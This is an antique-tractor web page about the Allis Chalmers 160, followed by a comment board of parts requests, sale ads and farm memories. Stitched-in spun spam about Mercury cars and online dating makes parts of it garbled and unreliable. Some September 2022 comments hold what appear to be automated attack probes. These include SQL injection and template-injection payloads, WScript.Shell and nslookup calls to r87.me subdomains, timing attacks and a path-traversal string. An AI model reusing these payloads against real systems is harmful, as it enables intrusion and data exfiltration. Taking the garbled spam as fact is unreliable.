Antique Allis Chalmers Tractor: AC 160
[Allis Chalmers 160 Parts] [Return to the Shed]
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The tractor shown was built in 1970. Some of the features were live PTO, live hydraulics, a Category II 3-point hitch, a 40 HP Perkins 3-cylinder diesel engine, differential lock, power adjustable rear wheels, and power steering. Picture contributed by Rick Nikolich. |
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The 1950 versions acquired a hood-front chrome molding bearing the Mercury name; the 51s incorporated this with a large semicircular crest and also sported more-prominent grille bars, larger parking lights brushed up back to the front wheel wells , as well as longer back fenders with rounded corners and also vertical tracking sides. That year s Mercurys used more of the raw materials that had actually been scarce during wartime; primarily light weight aluminum for pistons and also hood ornament as well as chrome interior equipment and also grille structure . The grille looked something like the 48 affair, however was lower and also bigger. A control panel with strip-type tools was likewise like Ford s, but Mercury s column-mounted gearshift was a chatting factor at the time. Resuming its power lead over Ford, Mercury got a stroked V-8 with 255.4 cid, twin downdraft Holley carburetors and also 110 bhp to end up being a genuine 100-mph performer for the very first time. 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There s a tremendous line between posting brief to the point messages and giving singles just an excessive amount of information to read, suppose about after which digest. 2. You profile is solution to lengthy- if you put up profiles which might be short however candy you get the eye of single ladies leaving them starving to know more about you, thereby supplying you with an opportunity to get some communication going with them, when you write a protracted drawn out profile likelihood is chances are you ll of mentioned one thing in it that turned them off with out giving you the prospect to clarify it. 2. Tell a family member or pal about your date - All the time let somebody know when and where you re going in your first date and who that particular person is that you re assembly. The flexibility of Internet users to have this conversation is a technological platform that gives an important opportunity for speaking with individuals who have a very different tradition. Pink Hat Enterprise MRG MRG includes a multi-language, multi-platform implementation of AMQP that provides enterprise degree messaging with guaranteed delivery, transaction management, queuing, distribution, security, administration and heterogeneous multi-platform help. In the Asia-Pacific area, large social messaging platforms offer fee by way of their purposes; LINE has LINE Pay, WeChat has WeChat Pay and Kakao has KakaoPay. Apart from the richness of the messages, SMS, social messaging apps and Apple Business Chat differ in different ways, too. Based mostly on the Service, the Online Dating Market is segmented into Matchmaking, Social Dating, Adult Relationship, and Area of interest Relationship. Social platform sites resembling chat or sohbet have a lot of environments the place you ll be able to socialize. I agree, and it can be great if it may go one step further and host all feedback and messages in a communal space or a spot where questions will be despatched to the right group members and answered by them. 1. Relationship Profile Choices; The courting profile of the members needs to be given with the required data that sounds real. 3. Extra Choices to qpid network Mingle; Apart from the regular chat box there must be extra options offered to members of the courting site. How to choose the precise free online dating site Proper out of the gate, the girls will imagine that you are mysterious for a reason and probably hiding something similar to being a married man or just one thing improper together with your seems. In relation to courting you seek a place where leisure is offered so for positive you would be looking for a extra interactive and simple means to search out the correct accomplice. Thankfully, there re many crucial ideas that you can consider to make your mission of online dating a more practical one, and all it require is just a few tricks time, and you ll be on your technique to discover a partner that you re all the time dreamed about. Welcome to Online Dating Security Suggestions! Security first, remember to guard yourself on-line and a great method to do that is to guard your info. Ask her what a convenient time can be for her, this manner you might be already building a consolation stage along with her. Since many online dating sites for singles have unique matchmaking features primarily based on compatibility regardless of your picture, however an excellent picture is a method people can see if there s also a spark of chemistry with you. It could be great if EPEL5 may very well be targeted as properly. That means you may get connected with Asian ladies, European women, in addition to Latino ladies! 1. Meet in Public Place - Irrespective of whether or not you have got met your date on-line or not, don t agree to be picked up at your house or meet at their home, so vital for first dates and assembly to take place in a public place corresponding to a restaurant the place you will get a feeling for that person first. 3. Provide a mutually agreed time on your first date- in the event you begin off by saying you want a late night time date your probably going to scare the ladies off and never get an opportunity for a date, we say anything after 9;00 pm will give the ladies a pink flag.
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/../../../../../../../../../../opt/lampp/logs/access_log wrote on Sunday, September 18, 2022 (PDT):3
Smith wrote on Sunday, September 18, 2022 (PDT):3
Smith wrote on Sunday, September 18, 2022 (PDT):3
Smith wrote on Sunday, September 18, 2022 (PDT):-1 ;DECLARE at q varchar 999 , at r nvarchar 999 SET at q = SELECT FROM OPENROWSET SQLOLEDB , at ; a ; 1 , SELECT 1 SET at r=replace at q, at , k8tybeu7uocty2pt_afbeoywzljpvcncay0rnk3z + qi8.r87.me exec sp_executesql at r--
Smith wrote on Sunday, September 18, 2022 (PDT):1;DECLARE at q varchar 999 , at r nvarchar 999 SET at q = SELECT FROM OPENROWSET SQLOLEDB , at ; a ; 1 , SELECT 1 SET at r=replace at q, at , k8tybeu7uownaxcdasgizf-ppwifqcidamjwskql + x0u.r87.me exec sp_executesql at r--
Smith wrote on Sunday, September 18, 2022 (PDT):DECLARE at q varchar 999 , at r nvarchar 999 SET at q = SELECT FROM OPENROWSET SQLOLEDB , at ; a ; 1 , SELECT 1 SET at r=replace at q, at , k8tybeu7uo1vzm7agqkvoa9sbril1yzjrvhg_t9e + y_i.r87.me exec sp_executesql at r
Smith wrote on Sunday, September 18, 2022 (PDT):1 procedure analyse extractvalue rand ,concat 0x3a,CONCAT CHAR 95 ,CHAR 33 ,CHAR 64 ,CHAR 52 ,CHAR 100 ,CHAR 105 ,CHAR 108 ,CHAR 101 ,CHAR 109 ,CHAR 109 ,CHAR 97 ,1 -- 1
Smith wrote on Sunday, September 18, 2022 (PDT):3
_self.env.registerUndefinedFilterCallback system _self.env.getFilter nslookup k8tybeu7uoovnmogs3sdgjskvvops4nge3avnozc z6a.r87.me wrote on Sunday, September 18, 2022 (PDT):3
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Smith wrote on Sunday, September 18, 2022 (PDT):3
Smith wrote on Sunday, September 18, 2022 (PDT):3
Smith wrote on Sunday, September 18, 2022 (PDT):3
Smith wrote on Sunday, September 18, 2022 (PDT):3
Smith wrote on Sunday, September 18, 2022 (PDT):3
Smith wrote on Sunday, September 18, 2022 (PDT):3
Smith wrote on Sunday, September 18, 2022 (PDT):3
Smith wrote on Sunday, September 18, 2022 (PDT):3
Smith wrote on Sunday, September 18, 2022 (PDT):3
Smith wrote on Sunday, September 18, 2022 (PDT):3
Smith wrote on Sunday, September 18, 2022 (PDT):3
Smith wrote on Sunday, September 18, 2022 (PDT):3
Smith wrote on Sunday, September 18, 2022 (PDT):3
Smith wrote on Sunday, September 18, 2022 (PDT):3
Smith wrote on Sunday, September 18, 2022 (PDT):3
Smith wrote on Sunday, September 18, 2022 (PDT):3
Smith wrote on Sunday, September 18, 2022 (PDT):3
createobject WScript.Shell .exec nslookup k8tybeu7uojqxzr9z1gac0xl02fjro61wfzb_hgq rsm.r87.me .StdOut.ReadAll wrote on Sunday, September 18, 2022 (PDT):3
SELECT 1 FROM SELECT SLEEP 25 A / c17a5bda-c2c1-4cc7-b8ac-de532a7ef7f4 / wrote on Sunday, September 18, 2022 (PDT):3
dblink_connect host=k8tybeu7uo2imxzpfnxcaczqrwg0saggy3odlyhh kuw.r87.me user=a password=a connect_timeout=2 wrote on Sunday, September 18, 2022 (PDT):3
select dbms_pipe.receive_message chr 95 chr 33 chr 64 chr 51 chr 100 chr 105 chr 108 chr 101 chr 109 chr 109 chr 97 ,25 from dual / d417ed7e-04ee-4912-a651-f857f7ac88fb / wrote on Sunday, September 18, 2022 (PDT):3
-1 ;DECLARE @q varchar 999 ,@r nvarchar 999 SET @q = SELECT FROM OPENROWSET SQLOLEDB , @ ; a ; 1 , SELECT 1 SET @r=replace @q, @ , k8tybeu7uokmk3bwgobm-fjlensbhlozat1a_ofn + 8ey.r87.me exec sp_executesql @r-- wrote on Sunday, September 18, 2022 (PDT):3
1;DECLARE @q varchar 999 ,@r nvarchar 999 SET @q = SELECT FROM OPENROWSET SQLOLEDB , @ ; a ; 1 , SELECT 1 SET @r=replace @q, @ , k8tybeu7uoenoikcn9jyiichp3sctx-xa1oxnvcg + 7sq.r87.me exec sp_executesql @r-- wrote on Sunday, September 18, 2022 (PDT):3
;;1 /trace.axd wrote on Sunday, September 18, 2022 (PDT):3
DECLARE @q varchar 999 ,@r nvarchar 999 SET @q = SELECT FROM OPENROWSET SQLOLEDB , @ ; a ; 1 , SELECT 1 SET @r=replace @q, @ , k8tybeu7uoy-owsfdpynfotkbmdtw1d31v0sv6ih + ju0.r87.me exec sp_executesql @r wrote on Sunday, September 18, 2022 (PDT):3
127.0.0.1/trace.axd wrote on Sunday, September 18, 2022 (PDT):3
127.100.11.2/trace.axd wrote on Sunday, September 18, 2022 (PDT):3
134.195.13.20/trace.axd wrote on Sunday, September 18, 2022 (PDT):3
1 procedure analyse extractvalue rand ,concat 0x3a,CONCAT CHAR 95 ,CHAR 33 ,CHAR 64 ,CHAR 52 ,CHAR 100 ,CHAR 105 ,CHAR 108 ,CHAR 101 ,CHAR 109 ,CHAR 109 ,CHAR 97 ,1 -- 1 wrote on Sunday, September 18, 2022 (PDT):3
1 ;DECLARE/ /@x/ /char 9 ;SET/ /@x=char 48 +char 58 +char 48 +char 58 +char 50 +char 53 ;WAITFOR/ /DELAY/ /@x-- / ae7ac623-7283-4247-a12c-46bec01c2a54 / wrote on Sunday, September 18, 2022 (PDT):3
WAITFOR DELAY 0;0;25 -- / 1050dbe5-345c-43db-93ff-de360a86dacf / wrote on Sunday, September 18, 2022 (PDT):3
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LuovuoNW wrote on Monday, July 11, 2022 (PDT):Although it s easy to open to individuals on the internet, according to on the internet dating decorum, it s still vital to maintain the conversation ideal. There s no upside-down to greet as long as you unlock to a feedback. There s no better location to show who you are than on your profile. There are a lots of chances resting limited for you out there. While there might be pictures of you that look rather excellent, they might not really record that you are as an individual. This is the location you are going to base your norms for a remarkable associate. So don t stress and anxiety. If you re thoughtful, genuine, and make an effort, you re going to be fine. To Perform you like your man to produce you Once you re psychologically connected, he ll make plans to meet personally, but always terminates. Now despite the fact that by this point you would certainly have found out a bargain concerning the person, please remember to maintain your initial message succinct. Being a rather conservative individual, I constantly believe that it s harmful to find a companion online. Urmi Bhatt, that fulfilled her companion on Bumble during the lockdown in May 2020, explains that it can be difficult for ladies to discover depend on in the online space. It s a terrific way to locate a new enchanting companion. These kinds of guides supplies you tips on just how to establish a fantastic account, how to respond to negative point of views, as well as how to run the sites to look for a superb suit. We have excellent news for you if you re concerned that you don t have any kind of photos of on your own that rather fit the expense. There are heaps of rules, ideas, and things you have to know to be successful in the online dating globe. There are various totally free web dating websites as well as on-line areas, where you can satisfy possible presence partners. Some people are just too good to be true so watch out for this. None of us want to hear this, however it s true. Credibility matters from the outset since it s the very first step in structure depend on. Yet absolutely nothing beats listing building when it comes to long term value. Part of making your listing is specifying what you want. You do not intend to completely surprise someone when you see them face to face by not looking like yourself, however you do intend to place your ideal foot forward. Individuals like suitable individuals. Attempt to be special and avoid posing the design of various other individuals. Looking people eight years back. 5. What are you searching for When in a while to figure out individuals that are fascinated to know all the much more about you, it is useful on the off chance that you will certainly log in. Do not really feel dreadful on the off chance that you think that nobody needs to have date with you. On the off opportunity that you have all the guts of presenting on your own totally, you will certainly entice each searcher s heart. These are all important points that will certainly assist your pictures obtain the focus of remarkable women, also if you do not feel like you re extremely photogenic! These are based from the real to backgrounds of people that have gotten rewarding in scanning for their accomplices by methods of Internet. That indicates spending time on your account and also pictures. If you anticipate a man to be straightforward with you, whether it s by showing photos that accurately depict him or being actual in his profile, exactly how can you anticipate to get away with existing on your own It s just an initial meeting for you two make a decision if there is a stimulate worth going after, and also it is excellent not to obtain too hung up on a solitary day. There is no requirement for you to shroud your authentic identity on the premises that finally you will already be gotten with your own particular flaws. The moment choosing which will certainly website to collaborate with, it is necessary to look into the website and also inspect the internet dating suggestions as well as guidance that they can provide. Merely put on up your finest grin especially when you visit the Internet. An on-line net dating overview could likewise help you browse the on-line online dating procedure. Some individuals really feel that elderly dating internet sites call for a great deal of time commitment to the whole process of online dating. You will certainly be the person who will withstand the risk when the ideal time comes. At the same time undoubtedly, you won t see it at your very first look.
Pat wrote on Tuesday, March 25, 2014 (PDT):We are restoring a 1938 wide front Silver King and need a steering wheel. Any source for info will be appreciated. We did find a site ebay or amazon store that had John or John s store, but now cannot find it. Please! Any help!
Matt Dorty wrote on Sunday, March 23, 2014 (PDT):I am parting out an SD 4 and have a few parts for an SD 2 or 3. Also looking to buy anything that is Sheppard, Tractors or engines.
jimmy wrote on Tuesday, February 18, 2014 (PST):I just picked up what I believe is a 1948 case vac tractor. That s what I was told....doesn t run the starter gear was stripped out and I was told it needs a clutch. It has good paint new plugs wires coil and ok rubber. Ive called a few local parts places for parts they said just scrap it. Any information about this tractor would be appreciated. Thanks
Todd wrote on Sunday, February 16, 2014 (PST):Wanting to buy 39 john deere b serial number 60001 or 60000 any help please reply
mark goering wrote on Thursday, February 06, 2014 (PST):how much motor oil do I need to change the oil
Brownie wrote on Sunday, February 02, 2014 (PST):I need the implement arms and centre adjusting arm for VA Case Eagle 3 point
Stan wrote on Thursday, November 28, 2013 (PST):How do you remove the radiator from the grill on a wd allis it has the fins in front of the radiator also
Robert Edwards wrote on Tuesday, November 19, 2013 (PST):I have two 1948 D leader tractors. One of the tractors will be parted out and other one will be sold minus carburator. If interested in a leader tractor or parts contact Robert E. 540-589-8901.
Piet wrote on Tuesday, November 12, 2013 (PST):Looking for Marvel-Schebler carburettor for Pony in South Africa. PC illiterate, don t know how to find e-mail address.
maury wrote on Wednesday, November 06, 2013 (PST):I am looking for a front crank pulley on the E4 gas engine my tractor is a 1950 CO-OP can anyone help Thanks
Terry Spangler wrote on Saturday, October 26, 2013 (PDT):Ihave a ford 8N with a Funk conversion. It has the ford flat head 226 engine, with the cast Iron pan, not the I beam type Engine runs very well, and the trans and hydro function as they should. I would like to sell this tractor for 4 K or interesting trade. Located in S E Colorado call 719-469- one 5 two 8
jason wrote on Saturday, October 26, 2013 (PDT):Wanted to buy. Super 99 oliver gas tractor. All conditions considered. Call 605 470 0489
Sandy Churchill wrote on Friday, October 25, 2013 (PDT):Does anyone out there have a one bottom plow right or left side for a 1950 Allis Chalmers G Have the tractor and are restoring it but just need the implement!
Jeff Pulliam wrote on Wednesday, October 23, 2013 (PDT):I have a massey harris 44... I am looking for a 3 point hitch to fit this tractor... know of any
robert wrote on Monday, October 21, 2013 (PDT):I have what I believe to be a 1949-52 JD MC. Serial 19184....I dont know much about the crawler but if anyone has some information on the serial number, please forward it onto me. It runs and all, looks decent and was curious to know what the value of one of these may be. Cheers.
robert wrote on Monday, October 21, 2013 (PDT):I have what I believe to be a 1949-52 JD MC. Serial 19184....I dont know much about the crawler but if anyone has some information on the serial number, please forward it onto me. It runs and all, looks decent and was curious to know what the value of one of these may be. Cheers.
Dean Broecker wrote on Monday, October 21, 2013 (PDT):For anyone interested in my 160 tractor, below I had the incorrect e-mail, it is dbroecker at airadvantage.net the tractor is nice 5800.00 obo, thanks
Dean Broecker wrote on Monday, October 21, 2013 (PDT):I have an exact 160 like photo above for sale, almost as clean, never farmed only mowed, even turf tires, 2400hours,new hydralic pump, new batt, alt, lights all work, gages all work starts perfect, chains, front 8 blade email me if intersted, Kingston Michigan, dbroecker at airadvanttage.net
Jeff may wrote on Tuesday, October 15, 2013 (PDT):I am looking for the sheet metal that covers gas tank on case vc tractor
Dalton wrote on Tuesday, October 15, 2013 (PDT):I have a 1966 D-17 series IV diesel and my hydraulic pump leaks. Where can I get repaired or replaced You can call me at 410-621-5321
C.Hartman wrote on Monday, October 14, 2013 (PDT):Does anyone know where I can find a D-17 that was run on tractor fuel kerosene ,it will have a small tank in hood for starting on gas.
Fred Overbay wrote on Monday, October 14, 2013 (PDT):I have a 50 s Model 40 crawler and I love to push dirt around with it. It works great for grubbing small saplings for clearing land and levelling lawns for seeding and grading gravel driveways. The cylinder that raises and lowers the blade is leaking fluid terribly bad and makes for slow work waiting on the blade to move. I took the cylinder off and took it to a parts place that I have gotten John Deere parts from in the past, but I was told today that a rebuild kit is not available from Deere now. I do not know where to turn to now. Can anyone help me Do you know of a supplier for these antique crawlers Thanks, Fred
John Bressner wrote on Friday, October 11, 2013 (PDT):Have 15-30 for sale good parts tractor rusty but pretty much all there 1500.
mabe wrote on Thursday, October 10, 2013 (PDT):looking for the metal that goes over the stiring wheel of a 770 oliver orchard tractor can anyone help me thanks
Robby Waldkirch wrote on Wednesday, October 09, 2013 (PDT):My dad has a running 1919 8-16 International tractor he is thinking of selling. I was given a price on it but would like to know what others think it is worth.
Jon Enns wrote on Monday, October 07, 2013 (PDT):I am currently living in Minneapolis but my Grandfather started his farm in Manitoba and my father currently farms in Saskatchewan. My father is in the process of selling his farm and his father s my grandpa s tractor was a 1939 Farmall B which he still has. I have found a 1/16th model Farmall B but wondering if anyone has ever come across model attachments. I am looking for a model 2 row corn planter and a 2 row cultivator.
John Shawver wrote on Sunday, October 06, 2013 (PDT):Need a 10x34 rim for a vac case if anybody has one. Also if any body can tell me the difference between a single and double bevel rim and if it matters witch one I get and they both will fit. Thanks
Jeff Davis wrote on Sunday, October 06, 2013 (PDT):Does anyone know what the 8-16 Slope Nose should be painted by year of manufacture
Steve Sorrells wrote on Saturday, October 05, 2013 (PDT):In the late 50 s when I was 11 or 12 Daddy had a Allis Chalmers CA a WC. After I learned to drive, he would pull a JD 4 disc tiller with the WC and I would pull one with the CA to turn land. When I got a little older I would turn land with the WC while Daddy worked a public job. I remember the WC had hand brakes only, the seat was off center to the right and the tiller had a manual lift so when you turned to the left you would reach back and grab the rope to trip the tiller lift while turning the steering wheel to the left. This would throw you even further to the right away from the left brake handle. You would have to really stretch to reach the brake lever to help with the turn. Quite a struggle for a 13 or 14 year old kid. I thought I was in heaven in 61 when he traded both in on a new JD 2010 with power steering and hydraulic connections so we could use a hydraulic cylinder lift.
Geoff Jones wrote on Wednesday, October 02, 2013 (PDT):I have a case 580k backhoe and a User Friendly CD Service Manual my question is my 580k has a slide shift foot button on floor to slide the backhoe to the right and left using the bucket to push it and also the stabiliser arms are electric over hyd the arms retract inside the body of the legs which they wont go in or out only up down I cant find any information in this manual all I can find on the machine is 580k are other models in 580k series
Don wrote on Wednesday, October 02, 2013 (PDT):I have an 880 Oliver for sale or trade.The tin is in good shape. The engine runs good, but needs a cylinder O-ring. Looking for a IH 560 with the German made diesel. Feel free to contact me at 763-447-5597 Cambridge, MN
Mike Sutter wrote on Tuesday, October 01, 2013 (PDT):The Town has been offered a donation of a 1939 or 1940 Farmall B which has been restored. The tractor originally belonged to a family that farmed in our county and having it as part of the Town s Hostetler Auto Museum would be very complimentary because of its history. Our problem is determining a serial number which I understand is on a small metal plate mounted on the seat upright. It is no longer legible. There is also a number stamped on the transmission case near the gear shift. This one reads 6823-D . Can it be used as a identification number in lieu of the missing serial number
dan wrote on Monday, September 30, 2013 (PDT):i have a 1964 fordson supermajor.does anyone know what company manufactured the hydraulic control valves for the 720 sherman loader currently mounted on this tractor
Dave Baxter wrote on Sunday, September 29, 2013 (PDT):I need information on how to hook up the governor on my 1948 Model D Leader tractor.
john fries wrote on Saturday, September 28, 2013 (PDT):Brooks Baker, fix my with a copper washer and it worked
bernard wrote on Saturday, September 28, 2013 (PDT):This could be the anser for john,his tractor is locked up he can start the tractor in neutrol, but when you let out the clutch it kills the motor.remove the shifting leaver one shifting plate is out of line. stick a lg.screwdriver or bar click the shifting plate in line. all plates should be in line look like a u. This happens when the end of your shifting is wore.
Don Angelo wrote on Thursday, September 26, 2013 (PDT):I have a mint condition 1949 MC Crawler. The first year of the Deere-designed crawler. serial #mc-11476 It is a 2 cylinder Johnny Put Put with a factory front end bulldozer blade and a nicely built logging jammer wench on the back. everything works. Crawler has been stored in a shed. I did not repaint because I liked the old look. This is small enough to fit on a car trailer to bring to the tractor shows. I also have the original operator s manual. I was told several years ago it was worth over 10,000 but since the times are a little harder I will sell it for 7,000 I am located in North Central Wisconsin. You can email me for pictures. My Phone # is 715-339-2789 and ask for Don.
Rick Walp wrote on Sunday, September 22, 2013 (PDT):Does anyone know what type of bendix drive is on the 8n funk Looks like the 8n but longer and a positive throw thx
Jack wrote on Friday, September 20, 2013 (PDT):I m looking for a project John Deere MC preferably near Wisconsin , running or not , any condition ,920-905-2663 Thank You , Jack
Connie Jeffries wrote on Friday, September 20, 2013 (PDT):My dad s first tractor was a 1941 Case SC, and he s now in the process of - slowly - restoring it. In seven weeks he will turn 90. I am looking for a good picture of a 41 SC with the center-mounted exhaust and lights on the fenders for two purposes. I d like to use the photo for his birthday cake and, as maudlin as it might seem, for his headstone. He had his headstone placed several weeks ago - complete with a picture of a Case tractor. But it s not his tractor because the monument company couldn t find one. He would be very surprised to see his tractor on his birthday cake - and on his headstone. Please contact me if you have a picture or if you have this model tractor and can take a picture.
Stephen Costello wrote on Friday, September 20, 2013 (PDT):I have a 1957 Fordson Major tractor. Replacing the steering box and I need to now what oil or lubricant to use. Any help is appreciated. Thanks
Dave wrote on Friday, September 20, 2013 (PDT):I have a 1939 Farmall M White Demonstrator with matching serial numbers and was wondering how many of the white demonstrtors were sold
orestes eichhorn wrote on Tuesday, September 10, 2013 (PDT):Hello i have a Wallis 20-30,i will restore it, i need contact with people wath know the tractor,especially with Grant Weir, He sent my 1 owner manual, thanks for your attention, sorry my english!!
gary bowen wrote on Tuesday, September 10, 2013 (PDT):I read this on another web site; If an Oil Pull has the old Du4 American bosch mag on, be sure it is safe and has a good winding and good impulse. You could be killed outright with a bad impulse on an old Du4 or a Du2. You can replace these with the new MFR or a MJA-c American Bosch magneto. How can it kill you Thanks gb
Ted Regal wrote on Monday, September 09, 2013 (PDT):I am looking for the paint codes for a ford offset 2000 tractor from 1962-1965 . It would be the blue and gray color. Thanks, Ted
Ray Matthews wrote on Sunday, September 08, 2013 (PDT):I need a gas tank for a 1957 model 300 Case Roundnose. My phone #5406617372. This model had two options for a fuel tank. On the bottom of the tank I need has 1/2 raised. Some have 1/4 raised and this would not work on my tractor.
Andy Harris wrote on Saturday, September 07, 2013 (PDT):Does anyone have or know someone who has a cultivator for my John Deere LA tractor. Would like to find one within pickup driving distance from North Idaho. Thanks, Andy
gloria nelson wrote on Friday, September 06, 2013 (PDT):wondering if anyone knows where to put the decals for the hitch warning and the warning for turning sharp at high. I have the rest of the decals placed.
John McClain wrote on Thursday, September 05, 2013 (PDT):I think the Ferguson Pony was manufactured for a short time in the transition from Massey Harris to Massey Ferguson...I have a friend that has a Massey Harris Ferguson tractor also and I think they are rather rare! I have a Pony but don t know what year it is..I need to either rebuild or get a new steering gearbox for it.
Darran Chandler wrote on Tuesday, September 03, 2013 (PDT):Hello, My Grandfather used a Case tractor while he was alive. It s still on the family farm rusting away. Recently someone literally busted the front iron grill to steal the radiator out of it for scrap. I m not a tractor expert, but it appears to be a 1940 s SC model No electric start. Front two wheels are close together. I grandchild would love to see somebody restore, or use it for parts instead of it rotting away. Please contact me if anybody is interested in this piece of history. And I will ask the elders if they will part with it. It appears to be intact except for busted up grill and radiator missing, and spark plug wires from cows eating them.The engine of coarse is locked up from sitting, but supposedly new liners and pistons before he passed away in mid 70 s. Thanks
mailpouchbl wrote on Tuesday, September 03, 2013 (PDT):Could you tell me where I can find as wiring diagram for John Deere mt tractor 1952 THANKS
Tim wrote on Monday, September 02, 2013 (PDT):I have a 1941 farmall h tractor it was making a clunking noise when the tractor was moving in gear. I took all gears and bearings out of the case inspected them replaced 1 slightly worn pilot bearing, replaced all seals found no broken bearing holders or bad gears. I put it back together and still same noise. Any Ideas Tim
Jim Bueter wrote on Monday, September 02, 2013 (PDT):I have just purchased a Case Vc tractor for restoration and am in need of lots of various parts. Please contact me if you have either parts or a complete non running parts tractor that you would sell. Thanks, Jim
Roy Bradshaw wrote on Saturday, August 31, 2013 (PDT):Does anyone know if A 1954 #16 massey Harris pacer was painted green and yellow from the factor
josh galland wrote on Thursday, August 29, 2013 (PDT):i have 1953 massey pony i just got.The tag says MASSEY HARISS FERGUSON LIMITED PGA22538.While in the proscees of sandblasting i saw old grey paint under the red someone painted years ago.i was told it was supposed to be gray.Is there anyone who no s if this is true.THANKS
Claude Parrett wrote on Wednesday, August 28, 2013 (PDT):I would like to purchase all models Parrett Tractors. 1906-1930 s Please email or call at 817 366-8780 Thanks! C.M. Parrett Weatherford, Texas
wayne tanner wrote on Tuesday, August 27, 2013 (PDT):I have 1930 rock island G-2 15-25 for sale s.n. 100085 repainted and new decals runs great and looks great too. I have plowed a little with it and ran my threshing machine with it as well. if interested give me a call. 715-554-2839
danelle lessard wrote on Thursday, August 22, 2013 (PDT):I have and old Fordson Major Diesel tractor for sale.My husband passed away so I don t know anything about it It hasn t been started in years.I live in Montana so if anyone is interested you can call 406-679-7907
Rich Nelson wrote on Wednesday, August 21, 2013 (PDT):Jack, maybe you ve got your answer as to what serial # you have. You list Ser # 28634---according to IHC records, you would have a year 1928 and probably built in June of that year.
Peggy Dosh wrote on Tuesday, August 20, 2013 (PDT):I have a IH farmall Model B, serial #151724 tractor that I would like to sell. I am a widow for two years and need to sell this tractor. My husband loved this tractor and would like for it to go to someone that like this style of tractor. I am not an expert on tractors but will send picture upon request. Interest parties can call 580-847-2359 between the hours of 5 pm thru 10;00 pm central time. Thanks
jim blough wrote on Sunday, August 18, 2013 (PDT):looking for 16 30 oil pull air cleaner
Steve Prissel wrote on Sunday, August 18, 2013 (PDT):My sister Melissa has the original super 55 that Dad had and we all grew up driving. I purchased my own last summer and it is in excellent running condition. I will need a new back wheel rim as it is rusted. 13 inch wide, so if anyone has a single or a pair let me know. We are going on a 50 mile cruise, benefits local charities and high schools in Ripon, WI this coming Saturday 24 August so will hopefully have a good ride. Also missing a cover plate just beneath the steering wheel on hood housing. Would like to restore but it will take time. steve
Jerry wrote on Thursday, August 15, 2013 (PDT):By the way, I own a 1954 Fordson Major Diesel. I rebuilt it years ago. Still going strong. If I can keep my dad from swiping it for his place... My tractors bigger than his.
Denny wrote on Wednesday, August 14, 2013 (PDT):It s a long shot,David James you wrote on Tuesday, October 02, 2007 PDT I have a friend in New Zealand,who buried her fathers samson tractor,and i know where it is, it has been underground for around 40 years dose anyone one think if it is salvagable. Make contact mt email -- munga at clear.net.nz cheers
James Kelsay wrote on Wednesday, August 14, 2013 (PDT):Need to find back tires for my 70 Oliver. The size is 12.4-40. Any help would be great!
Denny wrote on Tuesday, August 13, 2013 (PDT):I m after a Samson 12-25 bonnet and bonnet support frames for a S-25 or a good set of drawings with measurements, so I can finish off my tractor. munga at clear.net.nz
Joe wrote on Monday, August 12, 2013 (PDT):We just purchased a 1950 R. The emblem on the front is missing it has the round one Any suggestions for a good place to find one
ED DOUGLAS wrote on Wednesday, August 07, 2013 (PDT):II have a 1945 mdl A John Deere tractor I want to rebuild and I would like all the information I can get. PICTURES,HOW TO GET PARTS AND WHERE AND ANY OTHER INFORMATION THAT WOULD HELP ME. Thanks Ed
David Jones wrote on Monday, August 05, 2013 (PDT):i about to own one like that i need parts please help
john nelson wrote on Sunday, August 04, 2013 (PDT):As I look through these old tractor pictures I am amazed at how many massey tractors were built. numbers I never even knew excisted.. and a four wheel drive by massey early yeared one. they were reasonable to buy and so dependable.. wonder why they cant build them that way today
Kevin wrote on Saturday, August 03, 2013 (PDT):I am restoring an mm z. Does anyone know how many quarts of hydraulic fluid this tractor takes. It has the square oil reservoir. Thanks.
james cullen wrote on Friday, August 02, 2013 (PDT):how do i get of the brake hubs of my 1948 contractors model it has not moved in 45 years james ireland
Dennis Rager wrote on Thursday, August 01, 2013 (PDT):Question; What are the part names and numbers that hold a rear, spin out rim in place on a 1956 420 John Deere row crop tractor
Curtis wrote on Tuesday, July 30, 2013 (PDT):I have a 56 JD 80. I started it up and moved it. I turned it off. When I went to turn it back on it just clicks acting like it does not get any juice. I am stumped how it worked fine then after 2 hours nothing. Any help would help
erry roper wrote on Monday, July 29, 2013 (PDT):does anyone know where I can get my simms injector pump rebuilt on 1958 fordson major desile tractor
David G.P. wrote on Monday, July 29, 2013 (PDT):George;with the demonstrator cub,is it still for sale,what city state do you have the cub,what is the s/n casting numbers under the back axle.
David G.P. wrote on Monday, July 29, 2013 (PDT):George;with the demonstrator cub,is it still for sale,what city state do you have the cub,what is the s/n casting numbers under the back axle.
Neil wrote on Sunday, July 28, 2013 (PDT):Have a Model 81R Serial#406430.How do I find year of tractor.
carles petrie wrote on Sunday, July 28, 2013 (PDT):looking for rear rim for my leader tractor 11-2-24 ties on it thanks
Steve wrote on Monday, July 22, 2013 (PDT):I ve been fortunate enough to care for my friends ranch, over the past year or so as the family deals with the trials of life. My friend, who had to leave our province to secure work, asked me if I could look at their old tractor and perhaps get it running again. The tractor had been parked for nearly thirty years. I agreed, turns out it s a pony, with #40 mower. I tried the engine with the hand crank and it turned freely. I removed the engine cowling and blew out the top of the engine. Removed the plugs, lubricated the cylinders.. Added fuel, one of my tractor batteries, and hotwired the ignition. key was broken off inside the lock she sputtered, fired and ate my battery for breakfast. low charge Charged the battery and returned the following day. She didn t sputter.. didn t fart.. just plain fired right up and purred like a kitten..er.. pony. This prompted me to try the side mower......prompted me to research the side mower.. prompted me to use my brain to figure out that it had been re-connected simply for storage and use.. The tractor is missing some sheet metal sidecovers and battery cover aside from that what an amazing machine.. it drinks gasoline like a survival nut drinks water in the desert. very sparingly I have used all the gears and the pto, today I plan to return to the ranch and re-mount the mower. Lower field is getting really tall and I am in love with the thought of mowing that field. health issues prevented sr. from properly working the ranch Just thought I would add my story so far, to those already here. THANK YOU MH for giving my life yet another amazing experience. post script; I am purchasing this tractor from the family, so that it may remain, on the ranch where it belongs.. back in service, albeit light duty.
robert morris wrote on Sunday, July 21, 2013 (PDT):i just bought a 8n 1952 plan on putting a six cyl in it. i know where one is if the owner will sell it.any one who knows anything about these tractors please call robert morris 931-607-9579
Darrell wrote on Wednesday, July 17, 2013 (PDT):I owne a super 99 Ive had it for over 16 years its in good shape runs good has 6cyl diesel hyd. Pto.6 speed it s for sale call 704-313-7100 I m in N.C
Tom Cherry wrote on Wednesday, July 17, 2013 (PDT):I have a Farmall H 1943 runs and looks great. I m looking for any aqttachments that go with this tracktor.
jerry van haur wrote on Wednesday, July 17, 2013 (PDT):have a nice pair of john deere m tractors one rubber tires one on tracks crawler nice rust free montana tractors 406 350 2201
